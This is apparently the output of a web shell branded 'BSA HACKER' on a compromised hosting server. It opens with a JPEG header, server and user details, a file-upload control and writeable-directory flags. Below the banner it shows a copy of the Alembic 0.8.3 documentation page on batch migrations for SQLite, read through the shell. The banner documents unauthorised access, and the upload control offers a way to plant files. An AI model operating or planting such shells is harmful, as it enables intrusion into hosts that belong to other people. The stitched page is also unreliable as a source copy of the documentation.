JFIFHH .
BSA HACKER
Logo of a company Server : Apache
System : Linux nusantara.hosteko.com 4.18.0-553.16.1.lve.el8.x86_64 #1 SMP Tue Aug 13 17:45:03 UTC 2024 x86_64
User : koperas1 ( 1254)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /proc/thread-self/root/opt/alt/python37/share/doc/alt-python37-alembic/docs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/thread-self/root/opt/alt/python37/share/doc/alt-python37-alembic/docs/batch.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


<html xmlns="http://www.w3.org/1999/xhtml">
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    
    <title>Running “Batch” Migrations for SQLite and Other Databases &mdash; Alembic 0.8.3 documentation</title>
    
    <link rel="stylesheet" href="_static/nature_override.css" type="text/css" />
    <link rel="stylesheet" href="_static/pygments.css" type="text/css" />
    <link rel="stylesheet" href="_static/changelog.css" type="text/css" />
    <link rel="stylesheet" href="_static/sphinx_paramlinks.css" type="text/css" />
    
    <script type="text/javascript">
      var DOCUMENTATION_OPTIONS = {
        URL_ROOT:    './',
        VERSION:     '0.8.3',
        COLLAPSE_INDEX: false,
        FILE_SUFFIX: '.html',
        HAS_SOURCE:  true
      };
    </script>
    <script type="text/javascript" src="_static/jquery.js"></script>
    <script type="text/javascript" src="_static/underscore.js"></script>
    <script type="text/javascript" src="_static/doctools.js"></script>
    <link rel="top" title="Alembic 0.8.3 documentation" href="index.html" />
    <link rel="next" title="Working with Branches" href="branches.html" />
    <link rel="prev" title="The Importance of Naming Constraints" href="naming.html" /> 
  </head>
  <body role="document">
    <div class="related" role="navigation" aria-label="related navigation">
      <h3>Navigation</h3>
      <ul>
        <li class="right" style="margin-right: 10px">
          <a href="genindex.html" title="General Index"
             accesskey="I">index</a></li>
        <li class="right" >
          <a href="py-modindex.html" title="Python Module Index"
             >modules</a> |</li>
        <li class="right" >
          <a href="branches.html" title="Working with Branches"
             accesskey="N">next</a> |</li>
        <li class="right" >
          <a href="naming.html" title="The Importance of Naming Constraints"
             accesskey="P">previous</a> |</li>
        <li class="nav-item nav-item-0"><a href="index.html">Alembic 0.8.3 documentation</a> &raquo;</li> 
      </ul>
    </div>  

    <div class="document">
      <div class="documentwrapper">
        <div class="bodywrapper">
          <div class="body" role="main">
            
  <div class="section" id="running-batch-migrations-for-sqlite-and-other-databases">
<span id="batch-migrations"></span><h1>Running &#8220;Batch&#8221; Migrations for SQLite and Other Databases<a class="headerlink" href="#running-batch-migrations-for-sqlite-and-other-databases" title="Permalink to this headline">¶</a></h1>
<div class="admonition note">
<p class="first admonition-title">Note</p>
<p class="last">&#8220;Batch mode&#8221; for SQLite and other databases is a new and intricate
feature within the 0.7.0 series of Alembic, and should be
considered as &#8220;beta&#8221; for the next several releases.</p>
</div>
<div class="versionadded">
<p><span class="versionmodified">New in version 0.7.0.</span></p>
</div>
<p>The SQLite database presents a challenge to migration tools
in that it has almost no support for the ALTER statement upon which
relational schema migrations rely upon.  The rationale for this stems from
philosophical and architectural concerns within SQLite, and they are unlikely
to be changed.</p>
<p>Migration tools are instead expected to produce copies of SQLite tables that
correspond to the new structure, transfer the data from the existing
table to the new one, then drop the old table.  For our purposes here
we&#8217;ll call this <strong>&#8220;move and copy&#8221;</strong> workflow, and in order to accommodate it
in a way that is reasonably predictable, while also remaining compatible
with other databases, Alembic provides the <strong>batch</strong> operations context.</p>
<p>Within this context, a relational table is named, and then a series of
mutation operations to that table alone are specified within
the block.  When the context is complete, a process begins whereby the
&#8220;move and copy&#8221; procedure begins; the existing table structure is reflected
from the database, a new version of this table is created with the given
changes, data is copied from the
old table to the new table using &#8220;INSERT from SELECT&#8221;, and finally the old
table is dropped and the new one renamed to the original name.</p>
<p>The <a class="reference internal" href="ops.html#alembic.operations.Operations.batch_alter_table" title="alembic.operations.Operations.batch_alter_table"><code class="xref py py-meth docutils literal"><span class="pre">Operations.batch_alter_table()</span></code></a> method provides the gateway to this
process:</p>
<div class="highlight-python"><div class="highlight"><pre><span class="k">with</span> <span class="n">op</span><span class="o">.</span><span class="n">batch_alter_table</span><span class="p">(</span><span class="s">&quot;some_table&quot;</span><span class="p">)</span> <span class="k">as</span> <span class="n">batch_op</span><span class="p">:</span>
    <span class="n">batch_op</span><span class="o">.</span><span class="n">add_column</span><span class="p">(</span><span class="n">Column</span><span class="p">(</span><span class="s">&#39;foo&#39;</span><span class="p">,</span> <span class="n">Integer</span><span class="p">))</span>
    <span class="n">batch_op</span><span class="o">.</span><span class="n">drop_column</span><span class="p">(</span><span class="s">&#39;bar&#39;</span><span class="p">)</span>
</pre></div>
</div>
<p>When the above directives are invoked within a migration script, on a
SQLite backend we would see SQL like:</p>
<div class="highlight-sql"><div class="highlight"><pre><span class="k">CREATE</span> <span class="k">TABLE</span> <span class="n">_alembic_batch_temp</span> <span class="p">(</span>
  <span class="n">id</span> <span class="nb">INTEGER</span> <span class="k">NOT</span> <span class="k">NULL</span><span class="p">,</span>
  <span class="n">foo</span> <span class="nb">INTEGER</span><span class="p">,</span>
  <span class="k">PRIMARY</span> <span class="k">KEY</span> <span class="p">(</span><span class="n">id</span><span class="p">)</span>
<span class="p">);</span>
<span class="k">INSERT</span> <span class="k">INTO</span> <span class="n">_alembic_batch_temp</span> <span class="p">(</span><span class="n">id</span><span class="p">)</span> <span class="k">SELECT</span> <span class="n">some_table</span><span class="p">.</span><span class="n">id</span> <span class="k">FROM</span> <span class="n">some_table</span><span class="p">;</span>
<span class="k">DROP</span> <span class="k">TABLE</span> <span class="n">some_table</span><span class="p">;</span>
<span class="k">ALTER</span> <span class="k">TABLE</span> <span class="n">_alembic_batch_temp</span> <span class="k">RENAME</span> <span class="k">TO</span> <span class="n">some_table</span><span class="p">;</span>
</pre></div>
</div>
<p>On other backends, we&#8217;d see the usual <code class="docutils literal"><span class="pre">ALTER</span></code> statements done as though
there were no batch directive - the batch context by default only does
the &#8220;move and copy&#8221; process if SQLite is in use, and if there are
migration directives other than <a class="reference internal" href="ops.html#alembic.operations.Operations.add_column" title="alembic.operations.Operations.add_column"><code class="xref py py-meth docutils literal"><span class="pre">Operations.add_column()</span></code></a> present,
which is the one kind of column-level ALTER statement that SQLite supports.
<a class="reference internal" href="ops.html#alembic.operations.Operations.batch_alter_table" title="alembic.operations.Operations.batch_alter_table"><code class="xref py py-meth docutils literal"><span class="pre">Operations.batch_alter_table()</span></code></a> can be configured
to run &#8220;move and copy&#8221; unconditionally in all cases, including on databases
other than SQLite; more on this is below.</p>
<div class="section" id="controlling-table-reflection">
<span id="batch-controlling-table-reflection"></span><h2>Controlling Table Reflection<a class="headerlink" href="#controlling-table-reflection" title="Permalink to this headline">¶</a></h2>
<p>The <a class="reference external" href="http://www.sqlalchemy.org/docs/core/metadata.html#sqlalchemy.schema.Table" title="(in SQLAlchemy v1.0)"><code class="xref py py-class docutils literal"><span class="pre">Table</span></code></a> object that is reflected when
&#8220;move and copy&#8221; proceeds is performed using the standard <code class="docutils literal"><span class="pre">autoload=True</span></code>
approach.  This call can be affected using the
<a class="reference internal" href="ops.html#alembic.operations.Operations.batch_alter_table.params.reflect_args" title="alembic.operations.Operations.batch_alter_table"><code class="xref py py-paramref docutils literal"><span class="pre">reflect_args</span></code></a> and
<a class="reference internal" href="ops.html#alembic.operations.Operations.batch_alter_table.params.reflect_kwargs" title="alembic.operations.Operations.batch_alter_table"><code class="xref py py-paramref docutils literal"><span class="pre">reflect_kwargs</span></code></a> arguments.
For example, to override a <a class="reference external" href="http://www.sqlalchemy.org/docs/core/metadata.html#sqlalchemy.schema.Column" title="(in SQLAlchemy v1.0)"><code class="xref py py-class docutils literal"><span class="pre">Column</span></code></a> within
the reflection process such that a <a class="reference external" href="http://www.sqlalchemy.org/docs/core/type_basics.html#sqlalchemy.types.Boolean" title="(in SQLAlchemy v1.0)"><code class="xref py py-class docutils literal"><span class="pre">Boolean</span></code></a>
object is reflected with the <code class="docutils literal"><span class="pre">create_constraint</span></code> flag set to <code class="docutils literal"><span class="pre">False</span></code>:</p>
<div class="highlight-python"><div class="highlight"><pre><span class="k">with</span> <span class="bp">self</span><span class="o">.</span><span class="n">op</span><span class="o">.</span><span class="n">batch_alter_table</span><span class="p">(</span>
    <span class="s">&quot;bar&quot;</span><span class="p">,</span>
    <span class="n">reflect_args</span><span class="o">=</span><span class="p">[</span><span class="n">Column</span><span class="p">(</span><span class="s">&#39;flag&#39;</span><span class="p">,</span> <span class="n">Boolean</span><span class="p">(</span><span class="n">create_constraint</span><span class="o">=</span><span class="bp">False</span><span class="p">))]</span>
<span class="p">)</span> <span class="k">as</span> <span class="n">batch_op</span><span class="p">:</span>
    <span class="n">batch_op</span><span class="o">.</span><span class="n">alter_column</span><span class="p">(</span>
        <span class="s">&#39;flag&#39;</span><span class="p">,</span> <span class="n">new_column_name</span><span class="o">=</span><span class="s">&#39;bflag&#39;</span><span class="p">,</span> <span class="n">existing_type</span><span class="o">=</span><span class="n">Boolean</span><span class="p">)</span>
</pre></div>
</div>
<p>Another use case, add a listener to the <a class="reference external" href="http://www.sqlalchemy.org/docs/core/metadata.html#sqlalchemy.schema.Table" title="(in SQLAlchemy v1.0)"><code class="xref py py-class docutils literal"><span class="pre">Table</span></code></a>
as it is reflected so that special logic can be applied to columns or
types, using the <a class="reference external" href="http://www.sqlalchemy.org/docs/core/events.html#sqlalchemy.events.DDLEvents.column_reflect" title="(in SQLAlchemy v1.0)"><code class="xref py py-meth docutils literal"><span class="pre">column_reflect()</span></code></a> event:</p>
<div class="highlight-python"><div class="highlight"><pre><span class="k">def</span> <span class="nf">listen_for_reflect</span><span class="p">(</span><span class="n">inspector</span><span class="p">,</span> <span class="n">table</span><span class="p">,</span> <span class="n">column_info</span><span class="p">):</span>
    <span class="s">&quot;correct an ENUM type&quot;</span>
    <span class="k">if</span> <span class="n">column_info</span><span class="p">[</span><span class="s">&#39;name&#39;</span><span class="p">]</span> <span class="o">==</span> <span class="s">&#39;my_enum&#39;</span><span class="p">:</span>
        <span class="n">column_info</span><span class="p">[</span><span class="s">&#39;type&#39;</span><span class="p">]</span> <span class="o">=</span> <span class="n">Enum</span><span class="p">(</span><span class="s">&#39;a&#39;</span><span class="p">,</span> <span class="s">&#39;b&#39;</span><span class="p">,</span> <span class="s">&#39;c&#39;</span><span class="p">)</span>

<span class="k">with</span> <span class="bp">self</span><span class="o">.</span><span class="n">op</span><span class="o">.</span><span class="n">batch_alter_table</span><span class="p">(</span>
    <span class="s">&quot;bar&quot;</span><span class="p">,</span>
    <span class="n">reflect_kwargs</span><span class="o">=</span><span class="nb">dict</span><span class="p">(</span>
        <span class="n">listeners</span><span class="o">=</span><span class="p">[</span>
            <span class="p">(</span><span class="s">&#39;column_reflect&#39;</span><span class="p">,</span> <span class="n">listen_for_reflect</span><span class="p">)</span>
        <span class="p">]</span>
    <span class="p">)</span>
<span class="p">)</span> <span class="k">as</span> <span class="n">batch_op</span><span class="p">:</span>
    <span class="n">batch_op</span><span class="o">.</span><span class="n">alter_column</span><span class="p">(</span>
        <span class="s">&#39;flag&#39;</span><span class="p">,</span> <span class="n">new_column_name</span><span class="o">=</span><span class="s">&#39;bflag&#39;</span><span class="p">,</span> <span class="n">existing_type</span><span class="o">=</span><span class="n">Boolean</span><span class="p">)</span>
</pre></div>
</div>
<p>The reflection process may also be bypassed entirely by sending a
pre-fabricated <a class="reference external" href="http://www.sqlalchemy.org/docs/core/metadata.html#sqlalchemy.schema.Table" title="(in SQLAlchemy v1.0)"><code class="xref py py-class docutils literal"><span class="pre">Table</span></code></a> object; see
<a class="reference internal" href="#batch-offline-mode"><span>Working in Offline Mode</span></a> for an example.</p>
<div class="versionadded">
<p><span class="versionmodified">New in version 0.7.1: </span>added <a class="reference internal" href="ops.html#alembic.operations.Operations.batch_alter_table.params.reflect_args" title="alembic.operations.Operations.batch_alter_table"><code class="xref py py-paramref docutils literal"><span class="pre">Operations.batch_alter_table.reflect_args</span></code></a>
and <a class="reference internal" href="ops.html#alembic.operations.Operations.batch_alter_table.params.reflect_kwargs" title="alembic.operations.Operations.batch_alter_table"><code class="xref py py-paramref docutils literal"><span class="pre">Operations.batch_alter_table.reflect_kwargs</span></code></a> options.</p>
</div>
</div>
<div class="section" id="dealing-with-constraints">
<span id="sqlite-batch-constraints"></span><h2>Dealing with Constraints<a class="headerlink" href="#dealing-with-constraints" title="Permalink to this headline">¶</a></h2>
<p>There are a variety of issues when using &#8220;batch&#8221; mode with constraints,
such as FOREIGN KEY, CHECK and UNIQUE constraints.  This section
will attempt to detail many of these scenarios.</p>
<div class="section" id="dropping-unnamed-or-named-foreign-key-constraints">
<span id="dropping-sqlite-foreign-keys"></span><h3>Dropping Unnamed or Named Foreign Key Constraints<a class="headerlink" href="#dropping-unnamed-or-named-foreign-key-constraints" title="Permalink to this headline">¶</a></h3>
<p>SQLite, unlike any other database, allows constraints to exist in the
database that have no identifying name.  On all other backends, the
target database will always generate some kind of name, if one is not
given.</p>
<p>The first challenge this represents is that an unnamed constraint can&#8217;t
by itself be targeted by the <a class="reference internal" href="ops.html#alembic.operations.BatchOperations.drop_constraint" title="alembic.operations.BatchOperations.drop_constraint"><code class="xref py py-meth docutils literal"><span class="pre">BatchOperations.drop_constraint()</span></code></a> method.
An unnamed FOREIGN KEY constraint is implicit whenever the
<a class="reference external" href="http://www.sqlalchemy.org/docs/core/constraints.html#sqlalchemy.schema.ForeignKey" title="(in SQLAlchemy v1.0)"><code class="xref py py-class docutils literal"><span class="pre">ForeignKey</span></code></a>
or <a class="reference external" href="http://www.sqlalchemy.org/docs/core/constraints.html#sqlalchemy.schema.ForeignKeyConstraint" title="(in SQLAlchemy v1.0)"><code class="xref py py-class docutils literal"><span class="pre">ForeignKeyConstraint</span></code></a> objects are used without
passing them a name.  Only on SQLite will these constraints remain entirely
unnamed when they are created on the target database; an automatically generated
name will be assigned in the case of all other database backends.</p>
<p>A second issue is that SQLAlchemy itself has inconsistent behavior in
dealing with SQLite constraints as far as names.   Prior to version 1.0,
SQLAlchemy omits the name of foreign key constraints when reflecting them
against the SQLite backend.  So even if the target application has gone through
the steps to apply names to the constraints as stated in the database,
they still aren&#8217;t targetable within the batch reflection process prior
to SQLAlchemy 1.0.</p>
<p>Within the scope of batch mode, this presents the issue that the
<a class="reference internal" href="ops.html#alembic.operations.BatchOperations.drop_constraint" title="alembic.operations.BatchOperations.drop_constraint"><code class="xref py py-meth docutils literal"><span class="pre">BatchOperations.drop_constraint()</span></code></a> method requires a constraint name
in order to target the correct constraint.</p>
<p>In order to overcome this, the <a class="reference internal" href="ops.html#alembic.operations.Operations.batch_alter_table" title="alembic.operations.Operations.batch_alter_table"><code class="xref py py-meth docutils literal"><span class="pre">Operations.batch_alter_table()</span></code></a> method supports a
<a class="reference internal" href="ops.html#alembic.operations.Operations.batch_alter_table.params.naming_convention" title="alembic.operations.Operations.batch_alter_table"><code class="xref py py-paramref docutils literal"><span class="pre">naming_convention</span></code></a> argument, so that
all reflected constraints, including foreign keys that are unnamed, or
were named but SQLAlchemy isn&#8217;t loading this name, may be given a name,
as described in <a class="reference internal" href="naming.html#autogen-naming-conventions"><span>Integration of Naming Conventions into Operations, Autogenerate</span></a>.   Usage is as follows:</p>
<div class="highlight-python"><div class="highlight"><pre><span class="n">naming_convention</span> <span class="o">=</span> <span class="p">{</span>
    <span class="s">&quot;fk&quot;</span><span class="p">:</span>
    <span class="s">&quot;fk_</span><span class="si">%(table_name)s</span><span class="s">_</span><span class="si">%(column_0_name)s</span><span class="s">_</span><span class="si">%(referred_table_name)s</span><span class="s">&quot;</span><span class="p">,</span>
<span class="p">}</span>
<span class="k">with</span> <span class="bp">self</span><span class="o">.</span><span class="n">op</span><span class="o">.</span><span class="n">batch_alter_table</span><span class="p">(</span>
        <span class="s">&quot;bar&quot;</span><span class="p">,</span> <span class="n">naming_convention</span><span class="o">=</span><span class="n">naming_convention</span><span class="p">)</span> <span class="k">as</span> <span class="n">batch_op</span><span class="p">:</span>
    <span class="n">batch_op</span><span class="o">.</span><span class="n">drop_constraint</span><span class="p">(</span>
        <span class="s">&quot;fk_bar_foo_id_foo&quot;</span><span class="p">,</span> <span class="n">type_</span><span class="o">=</span><span class="s">&quot;foreignkey&quot;</span><span class="p">)</span>
</pre></div>
</div>
<p>Note that the naming convention feature requires at least
<strong>SQLAlchemy 0.9.4</strong> for support.</p>
<div class="versionadded">
<p><span class="versionmodified">New in version 0.7.1: </span>added <a class="reference internal" href="ops.html#alembic.operations.Operations.batch_alter_table.params.naming_convention" title="alembic.operations.Operations.batch_alter_table"><code class="xref py py-paramref docutils literal"><span class="pre">naming_convention</span></code></a> to
<a class="reference internal" href="ops.html#alembic.operations.Operations.batch_alter_table" title="alembic.operations.Operations.batch_alter_table"><code class="xref py py-meth docutils literal"><span class="pre">Operations.batch_alter_table()</span></code></a>.</p>
</div>
</div>
<div class="section" id="including-unnamed-unique-constraints">
<h3>Including unnamed UNIQUE constraints<a class="headerlink" href="#including-unnamed-unique-constraints" title="Permalink to this headline">¶</a></h3>
<p>A similar, but frustratingly slightly different, issue is that in the
case of UNIQUE constraints, we again have the issue that SQLite allows
unnamed UNIQUE constraints to exist on the database, however in this case,
SQLAlchemy prior to version 1.0 doesn&#8217;t reflect these constraints at all.
It does properly reflect named unique constraints with their names, however.</p>
<p>So in this case, the workaround for foreign key names is still not sufficient
prior to SQLAlchemy 1.0.  If our table includes unnamed unique constraints,
and we&#8217;d like them to be re-created along with the table, we need to include
them directly, which can be via the
<a class="reference internal" href="ops.html#alembic.operations.Operations.batch_alter_table.params.table_args" title="alembic.operations.Operations.batch_alter_table"><code class="xref py py-paramref docutils literal"><span class="pre">table_args</span></code></a> argument:</p>
<div class="highlight-python"><div class="highlight"><pre><span class="k">with</span> <span class="bp">self</span><span class="o">.</span><span class="n">op</span><span class="o">.</span><span class="n">batch_alter_table</span><span class="p">(</span>
        <span class="s">&quot;bar&quot;</span><span class="p">,</span> <span class="n">table_args</span><span class="o">=</span><span class="p">(</span><span class="n">UniqueConstraint</span><span class="p">(</span><span class="s">&#39;username&#39;</span><span class="p">),)</span>
    <span class="p">):</span>
    <span class="n">batch_op</span><span class="o">.</span><span class="n">add_column</span><span class="p">(</span><span class="n">Column</span><span class="p">(</span><span class="s">&#39;foo&#39;</span><span class="p">,</span> <span class="n">Integer</span><span class="p">))</span>
</pre></div>
</div>
</div>
<div class="section" id="including-check-constraints">
<h3>Including CHECK constraints<a class="headerlink" href="#including-check-constraints" title="Permalink to this headline">¶</a></h3>
<p>SQLAlchemy currently doesn&#8217;t reflect CHECK constraints on any backend.
So again these must be stated explicitly if they are to be included in the
recreated table:</p>
<div class="highlight-python"><div class="highlight"><pre><span class="k">with</span> <span class="n">op</span><span class="o">.</span><span class="n">batch_alter_table</span><span class="p">(</span><span class="s">&quot;some_table&quot;</span><span class="p">,</span> <span class="n">table_args</span><span class="o">=</span><span class="p">[</span>
      <span class="n">CheckConstraint</span><span class="p">(</span><span class="s">&#39;x &gt; 5&#39;</span><span class="p">)</span>
  <span class="p">])</span> <span class="k">as</span> <span class="n">batch_op</span><span class="p">:</span>
    <span class="n">batch_op</span><span class="o">.</span><span class="n">add_column</span><span class="p">(</span><span class="n">Column</span><span class="p">(</span><span class="s">&#39;foo&#39;</span><span class="p">,</span> <span class="n">Integer</span><span class="p">))</span>
    <span class="n">batch_op</span><span class="o">.</span><span class="n">drop_column</span><span class="p">(</span><span class="s">&#39;bar&#39;</span><span class="p">)</span>
</pre></div>
</div>
</div>
<div class="section" id="dealing-with-referencing-foreign-keys">
<h3>Dealing with Referencing Foreign Keys<a class="headerlink" href="#dealing-with-referencing-foreign-keys" title="Permalink to this headline">¶</a></h3>
<p>If the SQLite database is enforcing referential integrity with
<code class="docutils literal"><span class="pre">PRAGMA</span> <span class="pre">FOREIGN</span> <span class="pre">KEYS</span></code>, this pragma may need to be disabled when the workflow
mode proceeds, else remote constraints which refer to this table may prevent
it from being dropped; additionally, for referential integrity to be
re-enabled, it may be necessary to recreate the
foreign keys on those remote tables to refer again to the new table (this
is definitely the case on other databases, at least).  SQLite is normally used
without referential integrity enabled so this won&#8217;t be a problem for most
users.</p>
</div>
</div>
<div class="section" id="working-in-offline-mode">
<span id="batch-offline-mode"></span><h2>Working in Offline Mode<a class="headerlink" href="#working-in-offline-mode" title="Permalink to this headline">¶</a></h2>
<p>In the preceding sections, we&#8217;ve seen how much of an emphasis the
&#8220;move and copy&#8221; process has on using reflection in order to know the
structure of the table that is to be copied.  This means that in the typical
case, &#8220;online&#8221; mode, where a live database connection is present so that
<a class="reference internal" href="ops.html#alembic.operations.Operations.batch_alter_table" title="alembic.operations.Operations.batch_alter_table"><code class="xref py py-meth docutils literal"><span class="pre">Operations.batch_alter_table()</span></code></a> can reflect the table from the
database, is required; the <code class="docutils literal"><span class="pre">--sql</span></code> flag <strong>cannot</strong> be used without extra
steps.</p>
<p>To support offline mode, the system must work without table reflection
present, which means the full table as it intends to be created must be
passed to <a class="reference internal" href="ops.html#alembic.operations.Operations.batch_alter_table" title="alembic.operations.Operations.batch_alter_table"><code class="xref py py-meth docutils literal"><span class="pre">Operations.batch_alter_table()</span></code></a> using
<a class="reference internal" href="ops.html#alembic.operations.Operations.batch_alter_table.params.copy_from" title="alembic.operations.Operations.batch_alter_table"><code class="xref py py-paramref docutils literal"><span class="pre">copy_from</span></code></a>:</p>
<div class="highlight-python"><div class="highlight"><pre><span class="n">meta</span> <span class="o">=</span> <span class="n">MetaData</span><span class="p">()</span>
<span class="n">some_table</span> <span class="o">=</span> <span class="n">Table</span><span class="p">(</span>
    <span class="s">&#39;some_table&#39;</span><span class="p">,</span> <span class="n">meta</span><span class="p">,</span>
    <span class="n">Column</span><span class="p">(</span><span class="s">&#39;id&#39;</span><span class="p">,</span> <span class="n">Integer</span><span class="p">,</span> <span class="n">primary_key</span><span class="o">=</span><span class="bp">True</span><span class="p">),</span>
    <span class="n">Column</span><span class="p">(</span><span class="s">&#39;bar&#39;</span><span class="p">,</span> <span class="n">String</span><span class="p">(</span><span class="mi">50</span><span class="p">))</span>
<span class="p">)</span>

<span class="k">with</span> <span class="n">op</span><span class="o">.</span><span class="n">batch_alter_table</span><span class="p">(</span><span class="s">&quot;some_table&quot;</span><span class="p">,</span> <span class="n">copy_from</span><span class="o">=</span><span class="n">some_table</span><span class="p">)</span> <span class="k">as</span> <span class="n">batch_op</span><span class="p">:</span>
    <span class="n">batch_op</span><span class="o">.</span><span class="n">add_column</span><span class="p">(</span><span class="n">Column</span><span class="p">(</span><span class="s">&#39;foo&#39;</span><span class="p">,</span> <span class="n">Integer</span><span class="p">))</span>
    <span class="n">batch_op</span><span class="o">.</span><span class="n">drop_column</span><span class="p">(</span><span class="s">&#39;bar&#39;</span><span class="p">)</span>
</pre></div>
</div>
<p>The above use pattern is pretty tedious and quite far off from Alembic&#8217;s
preferred style of working; however, if one needs to do SQLite-compatible
&#8220;move and copy&#8221; migrations and need them to generate flat SQL files in
&#8220;offline&#8221; mode, there&#8217;s not much alternative.</p>
<div class="versionadded">
<p><span class="versionmodified">New in version 0.7.6: </span>Fully implemented the
<a class="reference internal" href="ops.html#alembic.operations.Operations.batch_alter_table.params.copy_from" title="alembic.operations.Operations.batch_alter_table"><code class="xref py py-paramref docutils literal"><span class="pre">copy_from</span></code></a>
parameter.</p>
</div>
</div>
<div class="section" id="batch-mode-with-autogenerate">
<h2>Batch mode with Autogenerate<a class="headerlink" href="#batch-mode-with-autogenerate" title="Permalink to this headline">¶</a></h2>
<p>The syntax of batch mode is essentially that <a class="reference internal" href="ops.html#alembic.operations.Operations.batch_alter_table" title="alembic.operations.Operations.batch_alter_table"><code class="xref py py-meth docutils literal"><span class="pre">Operations.batch_alter_table()</span></code></a>
is used to enter a batch block, and the returned <a class="reference internal" href="ops.html#alembic.operations.BatchOperations" title="alembic.operations.BatchOperations"><code class="xref py py-class docutils literal"><span class="pre">BatchOperations</span></code></a> context
works just like the regular <a class="reference internal" href="ops.html#alembic.operations.Operations" title="alembic.operations.Operations"><code class="xref py py-class docutils literal"><span class="pre">Operations</span></code></a> context, except that
the &#8220;table name&#8221; and &#8220;schema name&#8221; arguments are omitted.</p>
<p>To support rendering of migration commands in batch mode for autogenerate,
configure the <a class="reference internal" href="api/runtime.html#alembic.runtime.environment.EnvironmentContext.configure.params.render_as_batch" title="alembic.runtime.environment.EnvironmentContext.configure"><code class="xref py py-paramref docutils literal"><span class="pre">EnvironmentContext.configure.render_as_batch</span></code></a>
flag in <code class="docutils literal"><span class="pre">env.py</span></code>:</p>
<div class="highlight-python"><div class="highlight"><pre><span class="n">context</span><span class="o">.</span><span class="n">configure</span><span class="p">(</span>
    <span class="n">connection</span><span class="o">=</span><span class="n">connection</span><span class="p">,</span>
    <span class="n">target_metadata</span><span class="o">=</span><span class="n">target_metadata</span><span class="p">,</span>
    <span class="n">render_as_batch</span><span class="o">=</span><span class="bp">True</span>
<span class="p">)</span>
</pre></div>
</div>
<p>Autogenerate will now generate along the lines of:</p>
<div class="highlight-python"><div class="highlight"><pre><span class="k">def</span> <span class="nf">upgrade</span><span class="p">():</span>
    <span class="c">### commands auto generated by Alembic - please adjust! ###</span>
    <span class="k">with</span> <span class="n">op</span><span class="o">.</span><span class="n">batch_alter_table</span><span class="p">(</span><span class="s">&#39;address&#39;</span><span class="p">,</span> <span class="n">schema</span><span class="o">=</span><span class="bp">None</span><span class="p">)</span> <span class="k">as</span> <span class="n">batch_op</span><span class="p">:</span>
        <span class="n">batch_op</span><span class="o">.</span><span class="n">add_column</span><span class="p">(</span><span class="n">sa</span><span class="o">.</span><span class="n">Column</span><span class="p">(</span><span class="s">&#39;street&#39;</span><span class="p">,</span> <span class="n">sa</span><span class="o">.</span><span class="n">String</span><span class="p">(</span><span class="n">length</span><span class="o">=</span><span class="mi">50</span><span class="p">),</span> <span class="n">nullable</span><span class="o">=</span><span class="bp">True</span><span class="p">))</span>
</pre></div>
</div>
<p>This mode is safe to use in all cases, as the <a class="reference internal" href="ops.html#alembic.operations.Operations.batch_alter_table" title="alembic.operations.Operations.batch_alter_table"><code class="xref py py-meth docutils literal"><span class="pre">Operations.batch_alter_table()</span></code></a>
directive by default only takes place for SQLite; other backends will
behave just as they normally do in the absense of the batch directives.</p>
<p>Note that autogenerate support does not include &#8220;offline&#8221; mode, where
the <a class="reference internal" href="ops.html#alembic.operations.Operations.batch_alter_table.params.copy_from" title="alembic.operations.Operations.batch_alter_table"><code class="xref py py-paramref docutils literal"><span class="pre">Operations.batch_alter_table.copy_from</span></code></a> parameter is used.
The table definition here would need to be entered into migration files
manually if this is needed.</p>
</div>
<div class="section" id="batch-mode-with-databases-other-than-sqlite">
<h2>Batch mode with databases other than SQLite<a class="headerlink" href="#batch-mode-with-databases-other-than-sqlite" title="Permalink to this headline">¶</a></h2>
<p>There&#8217;s an odd use case some shops have, where the &#8220;move and copy&#8221; style
of migration is useful in some cases for databases that do already support
ALTER.   There&#8217;s some cases where an ALTER operation may block access to the
table for a long time, which might not be acceptable.  &#8220;move and copy&#8221; can
be made to work on other backends, though with a few extra caveats.</p>
<p>The batch mode directive will run the &#8220;recreate&#8221; system regardless of
backend if the flag <code class="docutils literal"><span class="pre">recreate='always'</span></code> is passed:</p>
<div class="highlight-python"><div class="highlight"><pre><span class="k">with</span> <span class="n">op</span><span class="o">.</span><span class="n">batch_alter_table</span><span class="p">(</span><span class="s">&quot;some_table&quot;</span><span class="p">,</span> <span class="n">recreate</span><span class="o">=</span><span class="s">&#39;always&#39;</span><span class="p">)</span> <span class="k">as</span> <span class="n">batch_op</span><span class="p">:</span>
    <span class="n">batch_op</span><span class="o">.</span><span class="n">add_column</span><span class="p">(</span><span class="n">Column</span><span class="p">(</span><span class="s">&#39;foo&#39;</span><span class="p">,</span> <span class="n">Integer</span><span class="p">))</span>
</pre></div>
</div>
<p>The issues that arise in this mode are mostly to do with constraints.
Databases such as Postgresql and MySQL with InnoDB will enforce referential
integrity (e.g. via foreign keys) in all cases.   Unlike SQLite, it&#8217;s not
as simple to turn off referential integrity across the board (nor would it
be desirable).    Since a new table is replacing the old one, existing
foreign key constraints which refer to the target table will need to be
unconditionally dropped before the batch operation, and re-created to refer
to the new table afterwards.  Batch mode currently does not provide any
automation for this.</p>
<p>The Postgresql database and possibly others also have the behavior such
that when the new table is created, a naming conflict occurs with the
named constraints of the new table, in that they match those of the old
table, and on Postgresql, these names need to be unique across all tables.
The Postgresql dialect will therefore emit a &#8220;DROP CONSTRAINT&#8221; directive
for all constraints on the old table before the new one is created; this is
&#8220;safe&#8221; in case of a failed operation because Postgresql also supports
transactional DDL.</p>
<p>Note that also as is the case with SQLite, CHECK constraints need to be
moved over between old and new table manually using the
<a class="reference internal" href="ops.html#alembic.operations.Operations.batch_alter_table.params.table_args" title="alembic.operations.Operations.batch_alter_table"><code class="xref py py-paramref docutils literal"><span class="pre">Operations.batch_alter_table.table_args</span></code></a> parameter.</p>
</div>
</div>


          </div>
        </div>
      </div>
      <div class="sphinxsidebar" role="navigation" aria-label="main navigation">
        <div class="sphinxsidebarwrapper">
  <h3><a href="index.html">Table Of Contents</a></h3>
  <ul>
<li><a class="reference internal" href="#">Running &#8220;Batch&#8221; Migrations for SQLite and Other Databases</a><ul>
<li><a class="reference internal" href="#controlling-table-reflection">Controlling Table Reflection</a></li>
<li><a class="reference internal" href="#dealing-with-constraints">Dealing with Constraints</a><ul>
